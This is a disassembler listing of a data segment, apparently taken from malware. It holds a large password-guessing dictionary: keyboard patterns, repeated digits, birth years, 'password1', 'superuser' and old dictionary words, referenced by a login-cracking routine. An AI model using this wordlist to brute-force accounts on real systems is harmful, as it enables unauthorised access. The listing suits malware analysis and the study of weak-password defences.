aC_1: ; DATA XREF: seg001:0042E57Co
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: seg001:0042E578o
align 4
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg001:0042E574o
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg001:0042E570o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg001:0042E56Co
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: seg001:0042E568o
align 10h
aBbbb db 'bbbb',0 ; DATA XREF: seg001:0042E564o
align 4
aBbb db 'bbb',0 ; DATA XREF: seg001:0042E560o
aBb db 'bb',0 ; DATA XREF: seg001:0042E55Co
align 10h
aB_0: ; DATA XREF: seg001:0042E558o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: seg001:0042E554o
aEdc db 'edc',0 ; DATA XREF: seg001:0042E550o
aWsx db 'wsx',0 ; DATA XREF: seg001:0042E54Co
aQaz db 'qaz',0 ; DATA XREF: seg001:0042E548o
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: seg001:0042E544o
align 10h
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: seg001:0042E540o
align 4
aAsdfghj db 'asdfghj',0 ; DATA XREF: seg001:0042E53Co
aAsdfgh db 'asdfgh',0 ; DATA XREF: seg001:0042E538o
align 4
aAsdfg db 'asdfg',0 ; DATA XREF: seg001:0042E534o
align 4
aAs db 'as',0 ; DATA XREF: seg001:0042E528o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg001:0042E524o
aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg001:0042E520o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: seg001:0042E51Co
align 10h
aZxc db 'zxc',0 ; DATA XREF: seg001:0042E514o
aZx db 'zx',0 ; DATA XREF: seg001:0042E510o
align 4
aZ_1: ; DATA XREF: seg001:0042E50Co
; seg001:0042E778o
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: seg001:0042E508o
aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg001:0042E4D0o
align 4
aKor db 'KOR',0 ; DATA XREF: seg001:0042E4CCo
aKor_0 db 'kor',0 ; DATA XREF: seg001:0042E4C4o
aChi db 'chi',0 ; DATA XREF: seg001:0042E4C0o
aChi_0 db 'CHI',0 ; DATA XREF: seg001:0042E4BCo
aSystem db 'system',0 ; DATA XREF: seg001:0042E4B4o
; seg001:0042E7F8o
align 4
aServices db 'services',0 ; DATA XREF: seg001:0042E4B0o
align 10h
aServers db 'servers',0 ; DATA XREF: seg001:0042E4ACo
aServer_0 db 'server',0 ; DATA XREF: seg001:0042E4A4o
align 10h
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg001:0042E49Co
align 4
aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg001:0042E498o
align 4
aQwertyui db 'qwertyui',0 ; DATA XREF: seg001:0042E494o
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: seg001:0042E490o
aQwe db 'qwe',0 ; DATA XREF: seg001:0042E480o
aQw db 'qw',0 ; DATA XREF: seg001:0042E47Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: seg001:0042E478o
align 10h
aPassword_0 db 'Password',0 ; DATA XREF: seg001:0042E474o
align 4
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg001:0042E470o
align 4
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg001:0042E46Co
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg001:0042E468o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg001:0042E464o
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: seg001:0042E460o
align 4
aAaaa db 'aaaa',0 ; DATA XREF: seg001:0042E45Co
align 4
aAa db 'aa',0 ; DATA XREF: seg001:0042E454o
align 4
aNokia db 'NOKIA',0 ; DATA XREF: seg001:0042E448o
align 10h
aSex db 'SEX',0 ; DATA XREF: seg001:0042E444o
aCreative db 'CREATIVE',0 ; DATA XREF: seg001:0042E440o
align 10h
aDisc_0 db 'DISC',0 ; DATA XREF: seg001:0042E43Co
align 4
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg001:0042E438o
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: seg001:0042E434o
align 4
aSony_0 db 'SONY',0 ; DATA XREF: seg001:0042E430o
align 4
aSamsung db 'samsung',0 ; DATA XREF: seg001:0042E42Co
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg001:0042E428o
aSony db 'sony',0 ; DATA XREF: seg001:0042E424o
align 4
a7654321 db '7654321',0 ; DATA XREF: seg001:0042E420o
a4321 db '4321',0 ; DATA XREF: seg001:0042E414o
align 4
a321 db '321',0 ; DATA XREF: seg001:0042E410o
a2006 db '2006',0 ; DATA XREF: seg001:0042E408o
align 4
a2005 db '2005',0 ; DATA XREF: seg001:0042E404o
align 10h
a2004 db '2004',0 ; DATA XREF: seg001:0042E400o
align 4
a2001 db '2001',0 ; DATA XREF: seg001:0042E3F4o
align 10h
a2000 db '2000',0 ; DATA XREF: seg001:0042E3F0o
align 4
a1999 db '1999',0 ; DATA XREF: seg001:0042E3ECo
align 10h
a1998 db '1998',0 ; DATA XREF: seg001:0042E3E8o
align 4
a1997 db '1997',0 ; DATA XREF: seg001:0042E3E4o
align 10h
a1996 db '1996',0 ; DATA XREF: seg001:0042E3E0o
align 4
a1995 db '1995',0 ; DATA XREF: seg001:0042E3DCo
align 10h
a1994 db '1994',0 ; DATA XREF: seg001:0042E3D8o
align 4
a1993 db '1993',0 ; DATA XREF: seg001:0042E3D4o
align 10h
a1992 db '1992',0 ; DATA XREF: seg001:0042E3D0o
align 4
a1991 db '1991',0 ; DATA XREF: seg001:0042E3CCo
align 10h
a1990 db '1990',0 ; DATA XREF: seg001:0042E3C8o
align 4
a1989 db '1989',0 ; DATA XREF: seg001:0042E3C4o
align 10h
a1988 db '1988',0 ; DATA XREF: seg001:0042E3C0o
align 4
a1987 db '1987',0 ; DATA XREF: seg001:0042E3BCo
align 10h
a1986 db '1986',0 ; DATA XREF: seg001:0042E3B8o
align 4
a1985 db '1985',0 ; DATA XREF: seg001:0042E3B4o
align 10h
a1984 db '1984',0 ; DATA XREF: seg001:0042E3B0o
align 4
a1983 db '1983',0 ; DATA XREF: seg001:0042E3ACo
align 10h
a1982 db '1982',0 ; DATA XREF: seg001:0042E3A8o
align 4
a1981 db '1981',0 ; DATA XREF: seg001:0042E3A4o
align 10h
a1980 db '1980',0 ; DATA XREF: seg001:0042E3A0o
align 4
a1979 db '1979',0 ; DATA XREF: seg001:0042E39Co
align 10h
a1978 db '1978',0 ; DATA XREF: seg001:0042E398o
align 4
a1977 db '1977',0 ; DATA XREF: seg001:0042E394o
align 10h
a1976 db '1976',0 ; DATA XREF: seg001:0042E390o
align 4
a1975 db '1975',0 ; DATA XREF: seg001:0042E38Co
align 10h
a1974 db '1974',0 ; DATA XREF: seg001:0042E388o
align 4
a1973 db '1973',0 ; DATA XREF: seg001:0042E384o
align 10h
a1972 db '1972',0 ; DATA XREF: seg001:0042E380o
align 4
a1971 db '1971',0 ; DATA XREF: seg001:0042E37Co
align 10h
a1970 db '1970',0 ; DATA XREF: seg001:0042E378o
align 4
a1969 db '1969',0 ; DATA XREF: seg001:0042E374o
align 10h
a1968 db '1968',0 ; DATA XREF: seg001:0042E370o
align 4
a1967 db '1967',0 ; DATA XREF: seg001:0042E36Co
align 10h
a1966 db '1966',0 ; DATA XREF: seg001:0042E368o
align 4
a1965 db '1965',0 ; DATA XREF: seg001:0042E364o
align 10h
a1964 db '1964',0 ; DATA XREF: seg001:0042E360o
align 4
a1963 db '1963',0 ; DATA XREF: seg001:0042E35Co
align 10h
a1962 db '1962',0 ; DATA XREF: seg001:0042E358o
align 4
a1961 db '1961',0 ; DATA XREF: seg001:0042E354o
align 10h
a1960 db '1960',0 ; DATA XREF: seg001:0042E350o
align 4
a1959 db '1959',0 ; DATA XREF: seg001:0042E34Co
align 10h
a1958 db '1958',0 ; DATA XREF: seg001:0042E348o
align 4
a1957 db '1957',0 ; DATA XREF: seg001:0042E344o
align 10h
a1956 db '1956',0 ; DATA XREF: seg001:0042E340o
align 4
a1955 db '1955',0 ; DATA XREF: seg001:0042E33Co
align 10h
a1954 db '1954',0 ; DATA XREF: seg001:0042E338o
align 4
a1953 db '1953',0 ; DATA XREF: seg001:0042E334o
align 10h
a1952 db '1952',0 ; DATA XREF: seg001:0042E330o
align 4
a1234qwe db '1234qwe',0 ; DATA XREF: seg001:0042E32Co
a1234asd db '1234asd',0 ; DATA XREF: seg001:0042E328o
a1234abc db '1234abc',0 ; DATA XREF: seg001:0042E324o
a123qwer db '123qwer',0 ; DATA XREF: seg001:0042E310o
a12qwe db '12qwe',0 ; DATA XREF: seg001:0042E30Co
align 10h
a12asd db '12asd',0 ; DATA XREF: seg001:0042E308o
align 4
a12abc db '12abc',0 ; DATA XREF: seg001:0042E304o
align 10h
a12qwer db '12qwer',0 ; DATA XREF: seg001:0042E300o
align 4
a1qwe db '1qwe',0 ; DATA XREF: seg001:0042E2FCo
align 10h
a1asd db '1asd',0 ; DATA XREF: seg001:0042E2F8o
align 4
a1abc db '1abc',0 ; DATA XREF: seg001:0042E2F4o
align 10h
a1qwer db '1qwer',0 ; DATA XREF: seg001:0042E2F0o
align 4
a123467890 db '123467890',0 ; DATA XREF: seg001:0042E2ECo
align 4
a12346789 db '12346789',0 ; DATA XREF: seg001:0042E2E8o
align 10h
a1234678 db '1234678',0 ; DATA XREF: seg001:0042E2E4o
a123467 db '123467',0 ; DATA XREF: seg001:0042E2E0o
align 10h
a12346 db '12346',0 ; DATA XREF: seg001:0042E2DCo
align 4
a121 db '121',0 ; DATA XREF: seg001:0042E2B4o
a1020 db '1020',0 ; DATA XREF: seg001:0042E2ACo
align 4
a0258 db '0258',0 ; DATA XREF: seg001:0042E2A8o
align 4
a8520 db '8520',0 ; DATA XREF: seg001:0042E2A4o
align 4
a987 db '987',0 ; DATA XREF: seg001:0042E2A0o
a789 db '789',0 ; DATA XREF: seg001:0042E29Co
a654 db '654',0 ; DATA XREF: seg001:0042E298o
a456 db '456',0 ; DATA XREF: seg001:0042E294o
a1122 db '1122',0 ; DATA XREF: seg001:0042E290o
align 4
a0147 db '0147',0 ; DATA XREF: seg001:0042E28Co
align 4
a7410 db '7410',0 ; DATA XREF: seg001:0042E288o
align 4
a9999999999 db '9999999999',0 ; DATA XREF: seg001:0042E280o
align 4
a999999999 db '999999999',0 ; DATA XREF: seg001:0042E27Co
align 4
a99999999 db '99999999',0 ; DATA XREF: seg001:0042E278o
align 10h
a9999999 db '9999999',0 ; DATA XREF: seg001:0042E274o
a999999 db '999999',0 ; DATA XREF: seg001:0042E270o
align 10h
a99999 db '99999',0 ; DATA XREF: seg001:0042E26Co
align 4
a9999 db '9999',0 ; DATA XREF: seg001:0042E268o
align 10h
a999 db '999',0 ; DATA XREF: seg001:0042E264o
a99 db '99',0 ; DATA XREF: seg001:0042E260o
align 4
a9: ; DATA XREF: seg001:0042E25Co
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: seg001:0042E258o
align 4
a888888888 db '888888888',0 ; DATA XREF: seg001:0042E254o
align 4
a8888888 db '8888888',0 ; DATA XREF: seg001:0042E24Co
a888888 db '888888',0 ; DATA XREF: seg001:0042E248o
align 4
a88888 db '88888',0 ; DATA XREF: seg001:0042E244o
align 4
a8888 db '8888',0 ; DATA XREF: seg001:0042E240o
align 4
a888 db '888',0 ; DATA XREF: seg001:0042E23Co
a88 db '88',0 ; DATA XREF: seg001:0042E238o
align 4
a8: ; DATA XREF: seg001:0042E234o
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: seg001:0042E230o
align 4
a777777777 db '777777777',0 ; DATA XREF: seg001:0042E22Co
align 4
a77777777 db '77777777',0 ; DATA XREF: seg001:0042E228o
align 4
a7777777 db '7777777',0 ; DATA XREF: seg001:0042E224o
a777777 db '777777',0 ; DATA XREF: seg001:0042E220o
align 4
a77777 db '77777',0 ; DATA XREF: seg001:0042E21Co
align 4
a7777 db '7777',0 ; DATA XREF: seg001:0042E218o
align 4
a777 db '777',0 ; DATA XREF: seg001:0042E214o
a77 db '77',0 ; DATA XREF: seg001:0042E210o
align 4
a7: ; DATA XREF: seg001:0042E20Co
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: seg001:0042E208o
align 4
a666666666 db '666666666',0 ; DATA XREF: seg001:0042E204o
align 4
a66666666 db '66666666',0 ; DATA XREF: seg001:0042E200o
align 4
a6666666 db '6666666',0 ; DATA XREF: seg001:0042E1FCo
a666666 db '666666',0 ; DATA XREF: seg001:0042E1F8o
align 4
a66666 db '66666',0 ; DATA XREF: seg001:0042E1F4o
align 4
a6666 db '6666',0 ; DATA XREF: seg001:0042E1F0o
align 4
a666 db '666',0 ; DATA XREF: seg001:0042E1ECo
a66 db '66',0 ; DATA XREF: seg001:0042E1E8o
align 4
a6: ; DATA XREF: seg001:0042E1E4o
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: seg001:0042E1E0o
align 4
a555555555 db '555555555',0 ; DATA XREF: seg001:0042E1DCo
align 4
a55555555 db '55555555',0 ; DATA XREF: seg001:0042E1D8o
align 4
a5555555 db '5555555',0 ; DATA XREF: seg001:0042E1D4o
a555555 db '555555',0 ; DATA XREF: seg001:0042E1D0o
align 4
a55555 db '55555',0 ; DATA XREF: seg001:0042E1CCo
align 4
a5555 db '5555',0 ; DATA XREF: seg001:0042E1C8o
align 4
a555 db '555',0 ; DATA XREF: seg001:0042E1C4o
a55 db '55',0 ; DATA XREF: seg001:0042E1C0o
align 4
a5_0: ; DATA XREF: seg001:0042E1BCo
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: seg001:0042E1B8o
align 4
a444444444 db '444444444',0 ; DATA XREF: seg001:0042E1B4o
align 4
a44444444 db '44444444',0 ; DATA XREF: seg001:0042E1B0o
align 4
a4444444 db '4444444',0 ; DATA XREF: seg001:0042E1ACo
a444444 db '444444',0 ; DATA XREF: seg001:0042E1A8o
align 4
a44444 db '44444',0 ; DATA XREF: seg001:0042E1A4o
align 4
a4444 db '4444',0 ; DATA XREF: seg001:0042E1A0o
align 4
a444 db '444',0 ; DATA XREF: seg001:0042E19Co
a44 db '44',0 ; DATA XREF: seg001:0042E198o
align 4
a4_0: ; DATA XREF: seg001:0042E194o
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: seg001:0042E190o
align 4
a333333333 db '333333333',0 ; DATA XREF: seg001:0042E18Co
align 4
a33333333 db '33333333',0 ; DATA XREF: seg001:0042E188o
align 4
a3333333 db '3333333',0 ; DATA XREF: seg001:0042E184o
a333333 db '333333',0 ; DATA XREF: seg001:0042E180o
align 4
a33333 db '33333',0 ; DATA XREF: seg001:0042E17Co
align 4
a3333 db '3333',0 ; DATA XREF: seg001:0042E178o
align 4
a333 db '333',0 ; DATA XREF: seg001:0042E174o
a33 db '33',0 ; DATA XREF: seg001:0042E170o
align 4
a3: ; DATA XREF: seg001:0042E16Co
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: seg001:0042E168o
align 4
a222222222 db '222222222',0 ; DATA XREF: seg001:0042E164o
align 4
a22222222 db '22222222',0 ; DATA XREF: seg001:0042E160o
align 4
a2222222 db '2222222',0 ; DATA XREF: seg001:0042E15Co
a222222 db '222222',0 ; DATA XREF: seg001:0042E158o
align 4
a22222 db '22222',0 ; DATA XREF: seg001:0042E154o
align 4
a2222 db '2222',0 ; DATA XREF: seg001:0042E150o
align 4
a222 db '222',0 ; DATA XREF: seg001:0042E14Co
a22 db '22',0 ; DATA XREF: seg001:0042E148o
align 4
a2: ; DATA XREF: seg001:0042E144o
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: seg001:0042E140o
align 4
a111111111 db '111111111',0 ; DATA XREF: seg001:0042E13Co
align 4
a1111111 db '1111111',0 ; DATA XREF: seg001:0042E134o
a11111 db '11111',0 ; DATA XREF: seg001:0042E12Co
align 4
a1111 db '1111',0 ; DATA XREF: seg001:0042E128o
align 10h
a11 db '11',0 ; DATA XREF: seg001:0042E120o
align 4
a010 db '010',0 ; DATA XREF: seg001:0042E110o
a009 db '009',0 ; DATA XREF: seg001:0042E10Co
a008 db '008',0 ; DATA XREF: seg001:0042E108o
a006 db '006',0 ; DATA XREF: seg001:0042E100o
a005 db '005',0 ; DATA XREF: sub_40CD3A+207o
; seg001:0042E0FCo
a004 db '004',0 ; DATA XREF: seg001:0042E0F8o
a003 db '003',0 ; DATA XREF: seg001:0042E0F4o
a002 db '002',0 ; DATA XREF: seg001:0042E0F0o
a001 db '001',0 ; DATA XREF: sub_40CD3A+1F2o
; seg001:0042E0ECo
asc_42F398 db '*********',0 ; DATA XREF: seg001:0042E0E8o
align 4
asc_42F3A4 db '********',0 ; DATA XREF: seg001:0042E0E4o
align 10h
asc_42F3B0 db '*******',0 ; DATA XREF: seg001:0042E0E0o
asc_42F3B8 db '******',0 ; DATA XREF: seg001:0042E0DCo
align 10h
asc_42F3C0 db '*****',0 ; DATA XREF: seg001:0042E0D8o
align 4
asc_42F3C8 db '****',0 ; DATA XREF: seg001:0042E0D4o
align 10h
asc_42F3D0 db '***',0 ; DATA XREF: seg001:0042E0D0o
asc_42F3D4 db '**',0 ; DATA XREF: seg001:0042E0CCo
align 4
a0000000000 db '0000000000',0 ; DATA XREF: seg001:0042E0C4o
align 4
a000000000 db '000000000',0 ; DATA XREF: seg001:0042E0C0o
align 10h
a@ db '@!',0 ; DATA XREF: seg001:0042E0A0o
align 4
a@_0 db '#@!',0 ; DATA XREF: seg001:0042E09Co
a@_1 db '$#@!',0 ; DATA XREF: seg001:0042E098o
align 10h
a@_2 db '%$#@!',0 ; DATA XREF: seg001:0042E094o
align 4
a@_3 db '^%$#@!',0 ; DATA XREF: seg001:0042E090o
align 10h
a@_4 db '&^%$#@!',0 ; DATA XREF: seg001:0042E08Co
a@_5 db '*&^%$#@!',0 ; DATA XREF: seg001:0042E088o
align 4
asc_42F424 db '$$$',0 ; DATA XREF: seg001:0042E084o
asc_42F428 db '$$',0 ; DATA XREF: seg001:0042E080o
align 4
asc_42F42C: ; DATA XREF: seg001:0042E07Co
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: seg001:0042E078o
align 4
a789_0 db '789+',0 ; DATA XREF: seg001:0042E074o
align 10h
a0 db '=-0',0 ; DATA XREF: seg001:0042E070o
asc_42F444 db '--++',0 ; DATA XREF: seg001:0042E06Co
align 4
asc_42F44C db '-+',0 ; DATA XREF: seg001:0042E068o
align 10h
asc_42F450 db '----',0 ; DATA XREF: seg001:0042E064o
align 4
asc_42F458 db '--',0 ; DATA XREF: seg001:0042E05Co
; seg001:0042E060o
align 4
asc_42F45C: ; DATA XREF: seg001:0042E058o
unicode 0, <->,0
asc_42F460 db '++++',0 ; DATA XREF: seg001:0042E054o
align 4
asc_42F468 db '+++',0 ; DATA XREF: seg001:0042E050o
asc_42F46C db '++',0 ; DATA XREF: seg001:0042E04Co
align 10h
asc_42F470: ; DATA XREF: seg001:0042E048o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: seg001:0042E044o
align 4
a@_6: ; DATA XREF: sub_40CD3A+22Co
; seg001:0042E040o
unicode 0, <@>,0
off_42F47C dd offset loc_40211F+2 ; DATA XREF: seg001:0042E03Co
dword_42F480 dd 2121h ; DATA XREF: seg001:0042E038o
dword_42F484 dd 24234021h, 2A265E25h, 0 ; DATA XREF: seg001:0042E030o
dword_42F490 dd 24234021h, 265E25h ; DATA XREF: seg001:0042E02Co
dword_42F498 dd 24234021h, 5E25h ; DATA XREF: seg001:0042E028o
dword_42F4A0 dd 24234021h, 25h ; DATA XREF: seg001:0042E024o
dword_42F4A8 dd 234021h ; DATA XREF: seg001:0042E020o
dword_42F4AC dd 4021h ; DATA XREF: seg001:0042E01Co
dword_42F4B0 dd 21h ; DATA XREF: sub_40CD3A+18Co
; sub_40CD3A+5B04o ...
dword_42F4B4 dd 25h ; DATA XREF: seg001:0042E014o
aZimmerman db 'zimmerman',0 ; DATA XREF: seg001:0042E010o
align 4
aZap db 'zap',0 ; DATA XREF: seg001:0042E00Co
aYellowstone db 'yellowstone',0 ; DATA XREF: seg001:0042E008o
aXyz db 'xyz',0 ; DATA XREF: seg001:0042E004o
; seg001:0042E4FCo
aWisconsin db 'wisconsin',0 ; DATA XREF: seg001:0042E000o
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg001:0042DFFCo
align 4
aWholesale db 'wholesale',0 ; DATA XREF: seg001:0042DFF8o
align 10h
aTty db 'tty',0 ; DATA XREF: seg001:0042DFF4o
aTopography db 'topography',0 ; DATA XREF: seg001:0042DFF0o
align 10h
aTemptation db 'temptation',0 ; DATA XREF: seg001:0042DFECo
align 4
aTelephone db 'telephone',0 ; DATA XREF: seg001:0042DFE8o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: seg001:0042DFE4o
align 4
aSys db 'sys',0 ; DATA XREF: seg001:0042DFE0o
aSupported db 'supported',0 ; DATA XREF: seg001:0042DFDCo
align 4
aSuperuser db 'superuser',0 ; DATA XREF: seg001:0042DFD8o
align 10h
aSuperstage db 'superstage',0 ; DATA XREF: seg001:0042DFD4o
align 4
aSun db 'sun',0 ; DATA XREF: seg001:0042DFD0o
aStuttgart db 'stuttgart',0 ; DATA XREF: seg001:0042DFCCo
align 4
aStratford db 'stratford',0 ; DATA XREF: seg001:0042DFC8o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: seg001:0042DFC4o
align 4
aSignature db 'signature',0 ; DATA XREF: seg001:0042DFC0o
align 10h
aSheffield db 'sheffield',0 ; DATA XREF: seg001:0042DFBCo
align 4
aSal db 'sal',0 ; DATA XREF: seg001:0042DFB8o
aRochester db 'rochester',0 ; DATA XREF: seg001:0042DFB4o
align 4
aRje db 'rje',0 ; DATA XREF: seg001:0042DFB0o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg001:0042DFACo
align 10h
aPub db 'pub',0 ; DATA XREF: seg001:0042DFA8o
aProfessor db 'professor',0 ; DATA XREF: seg001:0042DFA4o
align 10h
aPrinceton db 'princeton',0 ; DATA XREF: seg001:0042DFA0o
align 4
aPondering db 'pondering',0 ; DATA XREF: seg001:0042DF9Co
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: seg001:0042DF98o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: seg001:0042DF94o
align 10h
aPercolate db 'percolate',0 ; DATA XREF: seg001:0042DF90o
align 4
aPam db 'pam',0 ; DATA XREF: seg001:0042DF8Co
aPad db 'pad',0 ; DATA XREF: seg001:0042DF88o
aOceanography db 'oceanography',0 ; DATA XREF: seg001:0042DF84o
align 4
aNutrition db 'nutrition',0 ; DATA XREF: seg001:0042DF80o
align 10h
aNew db 'new',0 ; DATA XREF: seg001:0042DF7Co
aNet db 'net',0 ; DATA XREF: seg001:0042DF78o
aMit db 'mit',0 ; DATA XREF: seg001:0042DF74o
aMgr db 'mgr',0 ; DATA XREF: seg001:0042DF70o
aMacintosh db 'macintosh',0 ; DATA XREF: seg001:0042DF6Co
align 4
aLiz db 'liz',0 ; DATA XREF: seg001:0042DF68o
aLee db 'lee',0 ; DATA XREF: seg001:0042DF64o
aLamination db 'lamination',0 ; DATA XREF: seg001:0042DF60o
align 10h
aKim db 'kim',0 ; DATA XREF: seg001:0042DF5Co
aJoy db 'joy',0 ; DATA XREF: seg001:0042DF54o
aJen db 'jen',0 ; DATA XREF: seg001:0042DF50o
aInnocuous db 'innocuous',0 ; DATA XREF: seg001:0042DF4Co
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: seg001:0042DF48o
align 4
aIbm db 'ibm',0 ; DATA XREF: seg001:0042DF44o
aHappening db 'happening',0 ; DATA XREF: seg001:0042DF40o
align 4
aHal db 'hal',0 ; DATA XREF: seg001:0042DF3Co
aGnu db 'gnu',0 ; DATA XREF: seg001:0042DF38o
aFun db 'fun',0 ; DATA XREF: seg001:0042DF34o
aForesight db 'foresight',0 ; DATA XREF: seg001:0042DF30o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: seg001:0042DF2Co
align 4
aExtension db 'extension',0 ; DATA XREF: seg001:0042DF28o
align 4
aEstablish db 'establish',0 ; DATA XREF: seg001:0042DF24o
align 10h
aEnterprise db 'enterprise',0 ; DATA XREF: seg001:0042DF20o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: seg001:0042DF1Co
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: seg001:0042DF18o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: seg001:0042DF14o
align 10h
aDos db 'dos',0 ; DATA XREF: seg001:0042DF10o
aDog db 'dog',0 ; DATA XREF: seg001:0042DF0Co
aDiscovery db 'discovery',0 ; DATA XREF: seg001:0042DF08o
align 4
aDesperate db 'desperate',0 ; DATA XREF: seg001:0042DF04o
align 10h
aDeb db 'deb',0 ; DATA XREF: seg001:0042DF00o
aCornelius db 'cornelius',0 ; DATA XREF: seg001:0042DEFCo
align 10h
aCommrades db 'commrades',0 ; DATA XREF: seg001:0042DEF8o
align 4
aChristine db 'christine',0 ; DATA XREF: seg001:0042DEF4o
align 4
aChristina db 'christina',0 ; DATA XREF: seg001:0042DEF0o
align 4
aChemistry db 'chemistry',0 ; DATA XREF: seg001:0042DEECo
align 10h
aCatherine db 'catherine',0 ; DATA XREF: seg001:0042DEE8o
align 4
aCat db 'cat',0 ; DATA XREF: seg001:0042DEE4o
aCampanile db 'campanile',0 ; DATA XREF: seg001:0042DEE0o
align 4
aCad db 'cad',0 ; DATA XREF: seg001:0042DEDCo
aBsd db 'bsd',0 ; DATA XREF: seg001:0042DED8o
aBob db 'bob',0 ; DATA XREF: seg001:0042DED4o
aBicameral db 'bicameral',0 ; DATA XREF: seg001:0042DED0o
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: seg001:0042DECCo
align 10h
aAtmosphere db 'atmosphere',0 ; DATA XREF: seg001:0042DEC8o
align 4
aAsm db 'asm',0 ; DATA XREF: seg001:0042DEC4o
aAsd db 'asd',0 ; DATA XREF: seg001:0042DEC0o
; seg001:0042E52Co
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg001:0042DEBCo
align 4
aAnn db 'ann',0 ; DATA XREF: seg001:0042DEB8o
aAndromache db 'andromache',0 ; DATA XREF: seg001:0042DEB4o
align 4
aAmy db 'amy',0 ; DATA XREF: seg001:0042DEB0o
aAmorphous db 'amorphous',0 ; DATA XREF: seg001:0042DEACo
align 4
aAma db 'ama',0 ; DATA XREF: seg001:0042DEA8o
aAlf db 'alf',0 ; DATA XREF: seg001:0042DEA4o
aAlbatross db 'albatross',0 ; DATA XREF: seg001:0042DEA0o
align 4
aAda db 'ada',0 ; DATA XREF: seg001:0042DE9Co
aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg001:0042DE98o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg001:0042DE94o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg001:0042DE90o
align 4
aHaxing db 'haxing',0 ; DATA XREF: seg001:0042DE8Co
align 4
aHax db 'hax',0 ; DATA XREF: seg001:0042DE88o
aWh0re db 'wh0re',0 ; DATA XREF: seg001:0042DE84o
align 10h
aHo db 'ho',0 ; DATA XREF: seg001:0042DE80o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: seg001:0042DE7Co
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: seg001:0042DE78o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: seg001:0042DE74o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: seg001:0042DE70o
align 10h
aWindoze2k db 'windoze2k',0 ; DATA XREF: seg001:0042DE6Co
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: seg001:0042DE68o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: seg001:0042DE64o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: seg001:0042DE60o
align 10h
aWindowsme db 'windowsME',0 ; DATA XREF: seg001:0042DE5Co
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: seg001:0042DE58o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg001:0042DE54o
align 4
aMs db 'MS',0 ; DATA XREF: seg001:0042DE50o
align 4
aM_1 db 'M$',0 ; DATA XREF: seg001:0042DE4Co
align 4
aBilly db 'billy',0 ; DATA XREF: seg001:0042DE48o
align 4
aWindose db 'windose',0 ; DATA XREF: seg001:0042DE44o
aWindoze db 'windoze',0 ; DATA XREF: seg001:0042DE40o
aWindowz db 'windowz',0 ; DATA XREF: seg001:0042DE3Co
aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg001:0042DE38o
aDonaldduck db 'donaldduck',0 ; DATA XREF: seg001:0042DE34o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: seg001:0042DE30o
align 10h
aAl3x db 'Al3x',0 ; DATA XREF: seg001:0042DE2Co
align 4
aDud3 db 'dud3',0 ; DATA XREF: seg001:0042DE28o
align 10h
aDudette db 'dudette',0 ; DATA XREF: seg001:0042DE24o
aD00d db 'd00d',0 ; DATA XREF: seg001:0042DE20o
align 10h
aLol db 'lol',0 ; DATA XREF: seg001:0042DE1Co
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg001:0042DE18o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: seg001:0042DE14o
align 4
